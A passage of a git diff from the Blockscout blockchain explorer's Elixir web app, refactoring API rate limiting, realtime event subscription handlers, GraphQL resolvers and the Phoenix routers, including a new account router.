no_rate_limit_api_key) -> + {:allow, -1} + + true -> + check_graphql_rate_limit_inner(conn, config, multiplier) + end + end + + defp check_graphql_rate_limit_inner(conn, config, multiplier) do + static_api_key = config[:static_api_key] + + ip_string = AccessHelper.conn_to_ip_string(conn) + + user_api_key = get_api_key(conn) + + with {:api_key, false} <- {:api_key, valid_api_key?(user_api_key) && user_api_key == static_api_key}, + {:plan, plan} when plan in [false, nil] <- {:plan, valid_api_key?(user_api_key) && get_plan(conn.query_params)} do + ip_result = + rate_limit("graphql_#{ip_string}", config[:time_interval_limit_by_ip], config[:limit_by_ip], multiplier) + + if match?({:allow, _}, ip_result) or match?({:allow, _, _, _}, ip_result) do + maybe_replace_result( + ip_result, + rate_limit("graphql", config[:time_interval_limit], config[:global_limit], multiplier) + ) + else + ip_result + end + else + {:api_key, true} -> + rate_limit(static_api_key, config[:time_interval_limit], config[:limit_by_key], multiplier) + + {:plan, {plan, api_key}} -> + rate_limit( + api_key, + config[:time_interval_limit], + min(plan.max_req_per_second, config[:limit_by_key]), + multiplier + ) + end + end + + defp maybe_replace_result(ip_result, {:allow, -1}) do + ip_result + end + + defp maybe_replace_result(ip_result, {:allow, _, _, _}) do + ip_result + end + + defp maybe_replace_result(_ip_result, global_result) do + global_result + end + + @spec rate_limit_with_config(Plug.Conn.t(), map()) :: + {:allow, -1} | {:deny, integer(), integer(), integer()} | {:allow, integer(), integer(), integer()} + def rate_limit_with_config(conn, config) do + config + |> prepare_pipeline(conn) + |> Enum.reject(&(is_nil(&1) || &1 == false)) + |> Enum.reduce_while(nil, fn fun, _acc -> + case fun.(conn) do + :skip -> {:cont, nil} + result -> {:halt, result} + end + end) + |> maybe_check_recaptcha_response( + conn, + get_user_agent(conn), + config[:recaptcha_to_bypass_429], + config[:bypass_token_scope] + ) + |> case do + nil -> + Logger.error("Misconfiguration issue for #{conn.request_path}") + {:allow, -1} + + result -> + result + end + end + + defp prepare_pipeline(config, conn) do + global_config = Application.get_env(:block_scout_web, :api_rate_limit) + + [ + global_config[:disabled] && fn _ -> {:allow, -1} end, + config[:ignore] && fn _ -> {:allow, -1} end, + check_no_rate_limit_api_key(conn, global_config[:no_rate_limit_api_key_value]) && fn _ -> {:allow, -1} end, + config[:temporary_token] && + (&rate_limit_by_temporary_token( + &1, + config[:temporary_token], + global_config[:temporary_token], + config[:bucket_key_prefix] + )), + config[:static_api_key] && + (&rate_limit_by_static_api_key( + &1, + config[:static_api_key], + global_config[:static_api_key], + global_config, + config[:bucket_key_prefix] + )), + config[:account_api_key] && + (&rate_limit_by_account_api_key( + &1, + config[:account_api_key], + global_config[:account_api_key], + config[:bucket_key_prefix] + )), + config[:whitelisted_ip] && + (&rate_limit_by_whitelisted_ip( + &1, + config[:whitelisted_ip], + global_config[:whitelisted_ip], + global_config, + config[:bucket_key_prefix] + )), + config[:ip] && + (&rate_limit_by_ip(&1, config[:ip], global_config[:ip], config[:bucket_key_prefix])) + ] + end + + defp maybe_check_recaptcha_response(result, conn, user_agent, true, scope) when not is_nil(user_agent) do + case result do + {:deny, _time_to_reset, limit, time_interval} -> + conn + |> check_recaptcha(scope) + |> case do + true -> + {:allow, limit, limit, time_interval} + + false -> + result + end + + _ -> + result + end + end + + defp maybe_check_recaptcha_response(result, _, _, _, _) do + result + end + + defp check_recaptcha(conn, scope) when is_binary(scope) do + conn + |> collect_recaptcha_headers() + |> CaptchaHelper.recaptcha_passed?(String.to_atom(scope)) + end + + defp check_recaptcha(conn, _) do + conn + |> collect_recaptcha_headers() + |> CaptchaHelper.recaptcha_passed?() + end + + defp collect_recaptcha_headers(conn) do + recaptcha_response = get_header_or_nil(conn, "recaptcha-v2-response") + recaptcha_v3_response = get_header_or_nil(conn, "recaptcha-v3-response") + recaptcha_bypass_token = get_header_or_nil(conn, "recaptcha-bypass-token") + scoped_recaptcha_bypass_token = get_header_or_nil(conn, "scoped-recaptcha-bypass-token") + + cond do + recaptcha_response -> + %{ + "recaptcha_response" => recaptcha_response + } + + recaptcha_v3_response -> + %{ + "recaptcha_v3_response" => recaptcha_v3_response + } + + scoped_recaptcha_bypass_token -> + %{ + "scoped_recaptcha_bypass_token" => scoped_recaptcha_bypass_token + } + + recaptcha_bypass_token -> + %{ + "recaptcha_bypass_token" => recaptcha_bypass_token + } + + true -> + %{} + end + end + + defp get_header_or_nil(conn, header_name) do + case Conn.get_req_header(conn, header_name) do + [response] -> + response + + _ -> + nil + end + end + + defp rate_limit_by_static_api_key(conn, route_config, default_config, global_config, bucket_key_prefix) do + config = config_or_default(route_config, default_config) + static_api_key = global_config[:static_api_key_value] + user_api_key = get_api_key(conn) + + if valid_api_key?(user_api_key) && user_api_key == static_api_key do + rate_limit(static_api_key, config[:period], config[:limit], config[:cost] || 1, bucket_key_prefix) + else + :skip + end + end + + @spec rate_limit_by_account_api_key(any(), any(), any(), String.t()) :: + :skip | {:allow, -1} | {:deny, integer(), integer(), integer()} | {:allow, integer(), integer(), integer()} + defp rate_limit_by_account_api_key(conn, route_config, global_config, bucket_key_prefix) do + config = config_or_default(route_config, global_config) + plan = get_plan(conn.query_params) + + if plan do + {plan, api_key} = plan + + rate_limit( + api_key, + config[:period], + config[:limit] || plan.max_req_per_second, + config[:cost] || 1, + bucket_key_prefix + ) + else + :skip + end + end + + defp rate_limit_by_whitelisted_ip(conn, route_config, default_config, global_config, bucket_key_prefix) do + config = config_or_default(route_config, default_config) + ip_string = AccessHelper.conn_to_ip_string(conn) + + if Enum.member?(whitelisted_ips(global_config), ip_string) do + rate_limit(ip_string, config[:period], config[:limit], config[:cost] || 1, bucket_key_prefix) + else + :skip + end + end + + defp rate_limit_by_temporary_token(conn, route_config, default_config, bucket_key_prefix) do + config = config_or_default(route_config, default_config) + ip_string = AccessHelper.conn_to_ip_string(conn) + token = get_ui_v2_token(conn, ip_string) + + if token && !is_nil(get_user_agent(conn)) do + rate_limit(token, config[:period], config[:limit], config[:cost] || 1, bucket_key_prefix) + else + :skip + end + end + + defp rate_limit_by_ip(conn, route_config, default_config, bucket_key_prefix) do + config = config_or_default(route_config, default_config) + ip_string = AccessHelper.conn_to_ip_string(conn) + + rate_limit(ip_string, config[:period], config[:limit], config[:cost] || 1, bucket_key_prefix) + end + + @spec config_or_default(any(), any()) :: any() + defp config_or_default(config, default) do + if is_map(config) do + config + else + default + end + end + + @spec rate_limit(String.t(), integer(), integer(), integer(), String.t()) :: + {:allow, integer(), integer(), integer()} | {:deny, integer(), integer(), integer()} | {:allow, -1} + def rate_limit(key, time_interval, limit, multiplier, bucket_key_prefix \\ "") do + case Hammer.hit(construct_bucket_key(key, bucket_key_prefix), time_interval, limit, multiplier) do + {:allow, count} -> + {:allow, count, limit, time_interval} + + {:deny, time_to_reset} -> + {:deny, time_to_reset, limit, time_interval} + + {:error, error} -> + Logger.error(fn -> ["Rate limit check error: ", inspect(error)] end) + {:allow, -1} + end + end + + @spec construct_bucket_key(String.t(), String.t()) :: String.t() + defp construct_bucket_key(key, bucket_key_prefix) do + chain_id = Application.get_env(:block_scout_web, :chain_id) + "#{chain_id}_#{bucket_key_prefix}#{key}" + end + + defp check_no_rate_limit_api_key(conn, no_rate_limit_api_key) do + user_api_key = get_api_key(conn) + + valid_api_key?(user_api_key) && user_api_key == no_rate_limit_api_key + end + + @doc """ + Get the user agent from the request headers. + """ + @spec get_user_agent(Plug.Conn.t()) :: nil | binary() + def get_user_agent(conn) do + case Conn.get_req_header(conn, "user-agent") do + [agent] -> + agent + + _ -> + nil + end + end + + defp get_ui_v2_token(conn, ip_string) do + api_v2_temp_token_key = Application.get_env(:block_scout_web, :api_v2_temp_token_key) + conn = Conn.fetch_cookies(conn, signed: [api_v2_temp_token_key]) + + case conn.cookies[api_v2_temp_token_key] do + %{ip: ^ip_string} -> + conn.req_cookies[api_v2_temp_token_key] + + _ -> + nil + end + end + + defp whitelisted_ips(api_rate_limit_object) do + case api_rate_limit_object && api_rate_limit_object |> Keyword.fetch(:whitelisted_ips) do + {:ok, whitelisted_ips_string} -> + if whitelisted_ips_string, do: String.split(whitelisted_ips_string, ","), else: [] + + _ -> + [] + end + end + + defp valid_api_key?(api_key), do: !is_nil(api_key) && String.trim(api_key) !== "" + + defp get_api_key(conn) do + case Conn.get_req_header(conn, "x-api-key") do + [api_key] -> + api_key + + _ -> + Map.get(conn.query_params, "apikey") + end + end + + defp get_plan(query_params) do + with true <- query_params && Map.has_key?(query_params, "apikey"), + api_key_value <- Map.get(query_params, "apikey"), + api_key when not is_nil(api_key) <- ApiKey.api_key_with_plan_by_value(api_key_value) do + {api_key.identity.plan, to_string(api_key.value)} + else + _ -> + nil + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/rate_limit/hammer.ex b/apps/block_scout_web/lib/block_scout_web/rate_limit/hammer.ex new file mode 100644 index 000000000000..fdfe5fcd1606 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/rate_limit/hammer.ex @@ -0,0 +1,38 @@ +defmodule BlockScoutWeb.RateLimit.Hammer.ETS do + @moduledoc false + use Hammer, backend: Hammer.ETS +end + +defmodule BlockScoutWeb.RateLimit.Hammer.Redis do + @moduledoc false + use Hammer, backend: Hammer.Redis +end + +defmodule BlockScoutWeb.RateLimit.Hammer do + @moduledoc """ + Wrapper for the rate limit functions. Defines union of all functions from `BlockScoutWeb.RateLimit.Hammer.ETS` and `BlockScoutWeb.RateLimit.Hammer.Redis`. Resolves the backend to use based on `Application.get_env(:block_scout_web, :rate_limit_backend)` in runtime. + """ + alias BlockScoutWeb.RateLimit.Hammer.{ETS, Redis} + + functions = + (ETS.__info__(:functions) ++ Redis.__info__(:functions)) + |> Enum.uniq() + + for {name, arity} <- functions do + args = Macro.generate_arguments(arity, nil) + + def unquote(name)(unquote_splicing(args)) do + apply(Application.get_env(:block_scout_web, :api_rate_limit)[:rate_limit_backend], unquote(name), unquote(args)) + end + end + + def child_for_supervisor do + redis_url = Application.get_env(:block_scout_web, :api_rate_limit)[:redis_url] + + if redis_url do + {BlockScoutWeb.RateLimit.Hammer.Redis, [url: redis_url]} + else + {BlockScoutWeb.RateLimit.Hammer.ETS, []} + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/realtime_event_handler.ex b/apps/block_scout_web/lib/block_scout_web/realtime_event_handler.ex deleted file mode 100644 index 148bbbc4697d..000000000000 --- a/apps/block_scout_web/lib/block_scout_web/realtime_event_handler.ex +++ /dev/null @@ -1,41 +0,0 @@ -defmodule BlockScoutWeb.RealtimeEventHandler do - @moduledoc """ - Subscribing process for broadcast events from realtime. - """ - - use GenServer - - alias BlockScoutWeb.Notifier - alias Explorer.Chain.Events.Subscriber - alias Explorer.Counters.Helper - - def start_link(_) do - GenServer.start_link(__MODULE__, [], name: __MODULE__) - end - - @impl true - def init([]) do - Helper.create_cache_table(:last_broadcasted_block) - Subscriber.to(:address_coin_balances, :realtime) - Subscriber.to(:addresses, :realtime) - Subscriber.to(:block_rewards, :realtime) - Subscriber.to(:blocks, :realtime) - Subscriber.to(:internal_transactions, :realtime) - Subscriber.to(:token_transfers, :realtime) - Subscriber.to(:transactions, :realtime) - Subscriber.to(:addresses, :on_demand) - Subscriber.to(:address_coin_balances, :on_demand) - Subscriber.to(:address_token_balances, :on_demand) - Subscriber.to(:contract_verification_result, :on_demand) - # Does not come from the indexer - Subscriber.to(:exchange_rate) - Subscriber.to(:transaction_stats) - {:ok, []} - end - - @impl true - def handle_info(event, state) do - Notifier.handle_event(event) - {:noreply, state} - end -end diff --git a/apps/block_scout_web/lib/block_scout_web/realtime_event_handlers/main.ex b/apps/block_scout_web/lib/block_scout_web/realtime_event_handlers/main.ex new file mode 100644 index 000000000000..1001259edb85 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/realtime_event_handlers/main.ex @@ -0,0 +1,66 @@ +defmodule BlockScoutWeb.RealtimeEventHandlers.Main do + @moduledoc """ + Subscribing process for broadcast events from realtime. + """ + use GenServer + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + alias BlockScoutWeb.Notifier + alias Explorer.Chain.Events.Subscriber + + def start_link(_) do + GenServer.start_link(__MODULE__, [], name: __MODULE__) + end + + case @chain_type do + :arbitrum -> + def chain_type_specific_subscriptions do + Subscriber.to(:new_arbitrum_batches, :realtime) + Subscriber.to(:new_messages_to_arbitrum_amount, :realtime) + end + + :optimism -> + def chain_type_specific_subscriptions do + Subscriber.to(:new_optimism_batches, :realtime) + Subscriber.to(:new_optimism_deposits, :realtime) + end + + _ -> + def chain_type_specific_subscriptions do + nil + end + end + + @impl true + def init([]) do + Subscriber.to(:address_coin_balances, :realtime) + Subscriber.to(:addresses, :realtime) + Subscriber.to(:block_rewards, :realtime) + Subscriber.to(:internal_transactions, :realtime) + Subscriber.to(:internal_transactions, :on_demand) + Subscriber.to(:addresses, :on_demand) + Subscriber.to(:address_coin_balances, :on_demand) + Subscriber.to(:address_current_token_balances, :on_demand) + Subscriber.to(:address_current_token_balances, :realtime) + Subscriber.to(:address_token_balances, :on_demand) + Subscriber.to(:token_total_supply, :on_demand) + Subscriber.to(:changed_bytecode, :on_demand) + Subscriber.to(:fetched_bytecode, :on_demand) + Subscriber.to(:fetched_token_instance_metadata, :on_demand) + Subscriber.to(:not_fetched_token_instance_metadata, :on_demand) + Subscriber.to(:zkevm_confirmed_batches, :realtime) + # Does not come from the indexer + Subscriber.to(:exchange_rate) + Subscriber.to(:transaction_stats) + + chain_type_specific_subscriptions() + + {:ok, []} + end + + @impl true + def handle_info(event, state) do + Notifier.handle_event(event) + {:noreply, state} + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/realtime_event_handlers/main_page.ex b/apps/block_scout_web/lib/block_scout_web/realtime_event_handlers/main_page.ex new file mode 100644 index 000000000000..5f7ac0598297 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/realtime_event_handlers/main_page.ex @@ -0,0 +1,29 @@ +defmodule BlockScoutWeb.RealtimeEventHandlers.MainPage do + @moduledoc """ + Subscribing process for main page broadcast events from realtime. + """ + + use GenServer + + alias BlockScoutWeb.Notifier + alias Explorer.Chain.Cache.Counters.Helper + alias Explorer.Chain.Events.Subscriber + + def start_link(_) do + GenServer.start_link(__MODULE__, [], name: __MODULE__) + end + + @impl true + def init([]) do + Helper.create_cache_table(:last_broadcasted_block) + Subscriber.to(:blocks, :realtime) + Subscriber.to(:transactions, :realtime) + {:ok, []} + end + + @impl true + def handle_info(event, state) do + Notifier.handle_event(event) + {:noreply, state} + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/realtime_event_handlers/smart_contract.ex b/apps/block_scout_web/lib/block_scout_web/realtime_event_handlers/smart_contract.ex new file mode 100644 index 000000000000..8e9acde0e207 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/realtime_event_handlers/smart_contract.ex @@ -0,0 +1,29 @@ +defmodule BlockScoutWeb.RealtimeEventHandlers.SmartContract do + @moduledoc """ + Subscribing process for smart contract verification related broadcast events from realtime. + """ + + use GenServer + + alias BlockScoutWeb.Notifier + alias Explorer.Chain.Events.Subscriber + + def start_link(_) do + GenServer.start_link(__MODULE__, [], name: __MODULE__) + end + + @impl true + def init([]) do + Subscriber.to(:contract_verification_result, :on_demand) + Subscriber.to(:smart_contract_was_verified, :on_demand) + Subscriber.to(:smart_contract_was_not_verified, :on_demand) + Subscriber.to(:eth_bytecode_db_lookup_started, :on_demand) + {:ok, []} + end + + @impl true + def handle_info(event, state) do + Notifier.handle_event(event) + {:noreply, state} + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/realtime_event_handlers/token_transfer.ex b/apps/block_scout_web/lib/block_scout_web/realtime_event_handlers/token_transfer.ex new file mode 100644 index 000000000000..f1937d9a73f0 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/realtime_event_handlers/token_transfer.ex @@ -0,0 +1,26 @@ +defmodule BlockScoutWeb.RealtimeEventHandlers.TokenTransfer do + @moduledoc """ + Subscribing process for token transfer broadcast events from realtime. + """ + + use GenServer + + alias BlockScoutWeb.Notifier + alias Explorer.Chain.Events.Subscriber + + def start_link(_) do + GenServer.start_link(__MODULE__, [], name: __MODULE__) + end + + @impl true + def init([]) do + Subscriber.to(:token_transfers, :realtime) + {:ok, []} + end + + @impl true + def handle_info(event, state) do + Notifier.handle_event(event) + {:noreply, state} + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/resolvers/address.ex b/apps/block_scout_web/lib/block_scout_web/resolvers/address.ex deleted file mode 100644 index dda5aaf792cd..000000000000 --- a/apps/block_scout_web/lib/block_scout_web/resolvers/address.ex +++ /dev/null @@ -1,19 +0,0 @@ -defmodule BlockScoutWeb.Resolvers.Address do - @moduledoc false - - alias Explorer.Chain - - def get_by(_, %{hashes: hashes}, _) do - case Chain.hashes_to_addresses(hashes) do - [] -> {:error, "Addresses not found."} - result -> {:ok, result} - end - end - - def get_by(_, %{hash: hash}, _) do - case Chain.hash_to_address(hash) do - {:error, :not_found} -> {:error, "Address not found."} - {:ok, _} = result -> result - end - end -end diff --git a/apps/block_scout_web/lib/block_scout_web/resolvers/block.ex b/apps/block_scout_web/lib/block_scout_web/resolvers/block.ex deleted file mode 100644 index a970f7c4ef91..000000000000 --- a/apps/block_scout_web/lib/block_scout_web/resolvers/block.ex +++ /dev/null @@ -1,12 +0,0 @@ -defmodule BlockScoutWeb.Resolvers.Block do - @moduledoc false - - alias Explorer.Chain - - def get_by(_, %{number: number}, _) do - case Chain.number_to_block(number) do - {:ok, _} = result -> result - {:error, :not_found} -> {:error, "Block number #{number} was not found."} - end - end -end diff --git a/apps/block_scout_web/lib/block_scout_web/resolvers/internal_transaction.ex b/apps/block_scout_web/lib/block_scout_web/resolvers/internal_transaction.ex deleted file mode 100644 index 08f3ca45ce67..000000000000 --- a/apps/block_scout_web/lib/block_scout_web/resolvers/internal_transaction.ex +++ /dev/null @@ -1,23 +0,0 @@ -defmodule BlockScoutWeb.Resolvers.InternalTransaction do - @moduledoc false - - alias Absinthe.Relay.Connection - alias Explorer.Chain.Transaction - alias Explorer.{GraphQL, Repo} - - def get_by(%{transaction_hash: _, index: _} = args) do - GraphQL.get_internal_transaction(args) - end - - def get_by(%Transaction{} = transaction, args, _) do - transaction - |> GraphQL.transaction_to_internal_transactions_query() - |> Connection.from_query(&Repo.all/1, args, options(args)) - end - - defp options(%{before: _}), do: [] - - defp options(%{count: count}), do: [count: count] - - defp options(_), do: [] -end diff --git a/apps/block_scout_web/lib/block_scout_web/resolvers/token_transfer.ex b/apps/block_scout_web/lib/block_scout_web/resolvers/token_transfer.ex deleted file mode 100644 index 38b8b3f4acaf..000000000000 --- a/apps/block_scout_web/lib/block_scout_web/resolvers/token_transfer.ex +++ /dev/null @@ -1,24 +0,0 @@ -defmodule BlockScoutWeb.Resolvers.TokenTransfer do - @moduledoc false - - alias Absinthe.Relay.Connection - alias Explorer.{GraphQL, Repo} - - def get_by(%{transaction_hash: _, log_index: _} = args) do - GraphQL.get_token_transfer(args) - end - - def get_by(_, %{token_contract_address_hash: token_contract_address_hash} = args, _) do - connection_args = Map.take(args, [:after, :before, :first, :last]) - - token_contract_address_hash - |> GraphQL.list_token_transfers_query() - |> Connection.from_query(&Repo.all/1, connection_args, options(args)) - end - - defp options(%{before: _}), do: [] - - defp options(%{count: count}), do: [count: count] - - defp options(_), do: [] -end diff --git a/apps/block_scout_web/lib/block_scout_web/resolvers/transaction.ex b/apps/block_scout_web/lib/block_scout_web/resolvers/transaction.ex deleted file mode 100644 index adfe1b793d68..000000000000 --- a/apps/block_scout_web/lib/block_scout_web/resolvers/transaction.ex +++ /dev/null @@ -1,28 +0,0 @@ -defmodule BlockScoutWeb.Resolvers.Transaction do - @moduledoc false - - alias Absinthe.Relay.Connection - alias Explorer.{Chain, GraphQL, Repo} - alias Explorer.Chain.Address - - def get_by(_, %{hash: hash}, _) do - case Chain.hash_to_transaction(hash) do - {:ok, transaction} -> {:ok, transaction} - {:error, :not_found} -> {:error, "Transaction not found."} - end - end - - def get_by(%Address{hash: address_hash}, args, _) do - connection_args = Map.take(args, [:after, :before, :first, :last]) - - address_hash - |> GraphQL.address_to_transactions_query(args.order) - |> Connection.from_query(&Repo.all/1, connection_args, options(args)) - end - - defp options(%{before: _}), do: [] - - defp options(%{count: count}), do: [count: count] - - defp options(_), do: [] -end diff --git a/apps/block_scout_web/lib/block_scout_web/router.ex b/apps/block_scout_web/lib/block_scout_web/router.ex index 78a3bb2cd826..2882274689ab 100644 --- a/apps/block_scout_web/lib/block_scout_web/router.ex +++ b/apps/block_scout_web/lib/block_scout_web/router.ex @@ -1,18 +1,31 @@ defmodule BlockScoutWeb.Router do use BlockScoutWeb, :router - alias BlockScoutWeb.Plug.GraphQL - alias BlockScoutWeb.{ApiRouter, WebRouter} + use Utils.CompileTimeEnvHelper, + admin_panel_enabled: [:block_scout_web, :admin_panel_enabled], + graphql_enabled: [:block_scout_web, [Api.GraphQL, :enabled]], + api_router_reading_enabled: [:block_scout_web, [BlockScoutWeb.Routers.ApiRouter, :reading_enabled]], + web_router_enabled: [:block_scout_web, [BlockScoutWeb.Routers.WebRouter, :enabled]] - if Application.get_env(:block_scout_web, ApiRouter)[:wobserver_enabled] do - forward("/wobserver", Wobserver.Web.Router) - end + alias BlockScoutWeb.Routers.{AccountRouter, ApiRouter} + + @max_query_string_length 5_000 - if Application.get_env(:block_scout_web, :admin_panel_enabled) do - forward("/admin", BlockScoutWeb.AdminRouter) + if @admin_panel_enabled do + forward("/admin", BlockScoutWeb.Routers.AdminRouter) end pipeline :browser do + plug( + Plug.Parsers, + parsers: [:urlencoded, :multipart, :json], + length: 100_000, + query_string_length: @max_query_string_length, + pass: ["*/*"], + json_decoder: Poison + ) + + plug(BlockScoutWeb.Plug.Logger, application: :block_scout_web) plug(:accepts, ["html"]) plug(:fetch_session) plug(:fetch_flash) @@ -21,69 +34,85 @@ defmodule BlockScoutWeb.Router do end pipeline :api do + plug( + Plug.Parsers, + parsers: [:urlencoded, :multipart, :json], + length: 20_000_000, + query_string_length: @max_query_string_length, + pass: ["*/*"], + json_decoder: Poison + ) + + plug(BlockScoutWeb.Plug.Logger, application: :api) + plug(BlockScoutWeb.Plug.RateLimit) plug(:accepts, ["json"]) end - forward("/api", ApiRouter) + pipeline :api_v1_graphql do + plug( + Plug.Parsers, + parsers: [:json, Absinthe.Plug.Parser], + json_decoder: Poison, + body_reader: {BlockScoutWeb.GraphQL.BodyReader, :read_body, []} + ) - if Application.get_env(:block_scout_web, ApiRouter)[:reading_enabled] do - # Needs to be 200 to support the schema introspection for graphiql - @max_complexity 200 + plug(BlockScoutWeb.Plug.Logger, application: :api) + plug(:accepts, ["json"]) + plug(BlockScoutWeb.Plug.RateLimit) + end - forward("/graphql", Absinthe.Plug, - schema: BlockScoutWeb.Schema, - analyze_complexity: true, - max_complexity: @max_complexity - ) + pipeline :rate_limit do + plug(:fetch_query_params) + plug(:accepts, ["json"]) + plug(BlockScoutWeb.Plug.RateLimit) + end - forward("/graphiql", Absinthe.Plug.GraphiQL, - schema: BlockScoutWeb.Schema, - interface: :advanced, - default_query: GraphQL.default_query(), - socket: BlockScoutWeb.UserSocket, - analyze_complexity: true, - max_complexity: @max_complexity - ) - else - scope "/", BlockScoutWeb do - pipe_through(:browser) - get("/api-docs", PageNotFoundController, :index) - get("/eth-rpc-api-docs", PageNotFoundController, :index) - end + match(:*, "/auth/*path", AccountRouter, []) + + scope "/api" do + pipe_through(:rate_limit) + forward("/", ApiRouter) end - scope "/", BlockScoutWeb do - pipe_through(:browser) + scope "/graphiql" do + pipe_through(:api_v1_graphql) - get("/api-docs", APIDocsController, :index) - get("/eth-rpc-api-docs", APIDocsController, :eth_rpc) + if @graphql_enabled && @api_router_reading_enabled do + forward("/", Absinthe.Plug.GraphiQL, + schema: BlockScoutWeb.GraphQL.Schema, + interface: :advanced, + default_query: BlockScoutWeb.Plug.GraphQL.default_query(), + socket: BlockScoutWeb.UserSocket + ) + end end - url_params = Application.get_env(:block_scout_web, BlockScoutWeb.Endpoint)[:url] - api_path = url_params[:api_path] - path = url_params[:path] + scope "/", BlockScoutWeb do + pipe_through(:browser) - if path != api_path do - scope to_string(api_path) <> "/verify_smart_contract" do - pipe_through(:api) + get("/robots.txt", RobotsController, :robots) + get("/sitemap.xml", RobotsController, :sitemap) - post("/contract_verifications", BlockScoutWeb.AddressContractVerificationController, :create) + if @api_router_reading_enabled do + get("/api-docs", APIDocsController, :index) + get("/eth-rpc-api-docs", APIDocsController, :eth_rpc) + else + get("/api-docs", PageNotFoundController, :index) + get("/eth-rpc-api-docs", PageNotFoundController, :index) end - else - scope "/verify_smart_contract" do - pipe_through(:api) - post("/contract_verifications", BlockScoutWeb.AddressContractVerificationController, :create) + if @graphql_enabled do + get("/schema.graphql", GraphQL.SchemaController, :index) end end - if Application.get_env(:block_scout_web, WebRouter)[:enabled] do - forward("/", BlockScoutWeb.WebRouter) - else - scope "/", BlockScoutWeb do - pipe_through(:browser) + scope "/verify_smart_contract" do + pipe_through(:api) - forward("/", APIDocsController, :index) - end + post("/contract_verifications", BlockScoutWeb.AddressContractVerificationController, :create) + end + + if @web_router_enabled do + forward("/", BlockScoutWeb.Routers.WebRouter) end end diff --git a/apps/block_scout_web/lib/block_scout_web/routers/account_router.ex b/apps/block_scout_web/lib/block_scout_web/routers/account_router.ex new file mode 100644 index 000000000000..8f5641926cdd --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/routers/account_router.ex @@ -0,0 +1,184 @@ +defmodule BlockScoutWeb.Routers.AccountRouter do + @moduledoc """ + Router for account-related requests + """ + use BlockScoutWeb, :router + + alias BlockScoutWeb.Account.API.V2.{ + AddressController, + AuthenticateController, + EmailController, + TagsController, + UserController + } + + alias BlockScoutWeb.Plug.{CheckAccountAPI, CheckAccountWeb} + + @max_query_string_length 5_000 + + pipeline :account_web do + plug( + Plug.Parsers, + parsers: [:urlencoded, :multipart, :json], + length: 100_000, + query_string_length: @max_query_string_length, + pass: ["*/*"], + json_decoder: Poison + ) + + plug(BlockScoutWeb.Plug.Logger, application: :block_scout_web) + plug(:accepts, ["html"]) + plug(:fetch_session) + plug(:fetch_flash) + plug(CheckAccountWeb) + plug(:protect_from_forgery) + plug(BlockScoutWeb.CSPHeader) + plug(BlockScoutWeb.ChecksumAddress) + end + + pipeline :account_api do + plug( + Plug.Parsers, + parsers: [:urlencoded, :multipart, :json], + length: 100_000, + query_string_length: @max_query_string_length, + pass: ["*/*"], + json_decoder: Poison + ) + + plug(BlockScoutWeb.Plug.Logger, application: :api) + plug(:accepts, ["json"]) + plug(:fetch_session) + plug(:protect_from_forgery) + plug(CheckAccountAPI) + end + + pipeline :api do + plug( + Plug.Parsers, + parsers: [:urlencoded, :multipart, :json], + length: 20_000_000, + query_string_length: @max_query_string_length, + pass: ["*/*"], + json_decoder: Poison + ) + + plug(BlockScoutWeb.Plug.Logger, application: :api) + plug(:accepts, ["json"]) + end + + scope "/auth", BlockScoutWeb do + pipe_through(:account_web) + + get("/profile", Account.AuthController, :profile) + get("/logout", Account.AuthController, :logout) + get("/:provider", Account.AuthController, :request) + get("/:provider/callback", Account.AuthController, :callback) + end + + scope "/", BlockScoutWeb do + pipe_through(:account_web) + + resources("/tag_address", Account.TagAddressController, + only: [:index, :new, :create, :delete], + as: :tag_address + ) + + resources("/tag_transaction", Account.TagTransactionController, + only: [:index, :new, :create, :delete], + as: :tag_transaction + ) + + resources("/watchlist", Account.WatchlistController, + only: [:show], + singleton: true, + as: :watchlist + ) + + resources("/watchlist_address", Account.WatchlistAddressController, + only: [:new, :create, :edit, :update, :delete], + as: :watchlist_address + ) + + resources("/api_key", Account.ApiKeyController, + only: [:new, :create, :edit, :update, :delete, :index], + as: :api_key + ) + + resources("/custom_abi", Account.CustomABIController, + only: [:new, :create, :edit, :update, :delete, :index], + as: :custom_abi + ) + end + + scope "/v2", as: :account_v2 do + pipe_through(:account_api) + + get("/authenticate", AuthenticateController, :authenticate_get) + post("/authenticate", AuthenticateController, :authenticate_post) + + get("/get_csrf", UserController, :get_csrf) + + scope "/address" do + post("/link", AddressController, :link_address) + end + + scope "/email" do + get("/resend", EmailController, :resend_email) + post("/link", EmailController, :link_email) + end + + scope "/user" do + get("/info", UserController, :info) + + get("/watchlist", UserController, :watchlist) + delete("/watchlist/:id", UserController, :delete_watchlist) + post("/watchlist", UserController, :create_watchlist) + put("/watchlist/:id", UserController, :update_watchlist) + + get("/api_keys", UserController, :api_keys) + delete("/api_keys/:api_key", UserController, :delete_api_key) + post("/api_keys", UserController, :create_api_key) + put("/api_keys/:api_key", UserController, :update_api_key) + + get("/custom_abis", UserController, :custom_abis) + delete("/custom_abis/:id", UserController, :delete_custom_abi) + post("/custom_abis", UserController, :create_custom_abi) + put("/custom_abis/:id", UserController, :update_custom_abi) + + scope "/tags" do + get("/address/", UserController, :tags_address) + get("/address/:id", UserController, :tags_address) + delete("/address/:id", UserController, :delete_tag_address) + post("/address/", UserController, :create_tag_address) + put("/address/:id", UserController, :update_tag_address) + + get("/transaction/", UserController, :tags_transaction) + get("/transaction/:id", UserController, :tags_transaction) + delete("/transaction/:id", UserController, :delete_tag_transaction) + post("/transaction/", UserController, :create_tag_transaction) + put("/transaction/:id", UserController, :update_tag_transaction) + end + end + end + + scope "/v2" do + pipe_through(:api) + pipe_through(:account_api) + + scope "/tags" do + get("/address/:address_hash", TagsController, :tags_address) + + get("/transaction/:transaction_hash", TagsController, :tags_transaction) + end + end + + scope "/v2" do + pipe_through(:api) + + post("/authenticate_via_wallet", AuthenticateController, :authenticate_via_wallet) + post("/send_otp", AuthenticateController, :send_otp) + post("/confirm_otp", AuthenticateController, :confirm_otp) + 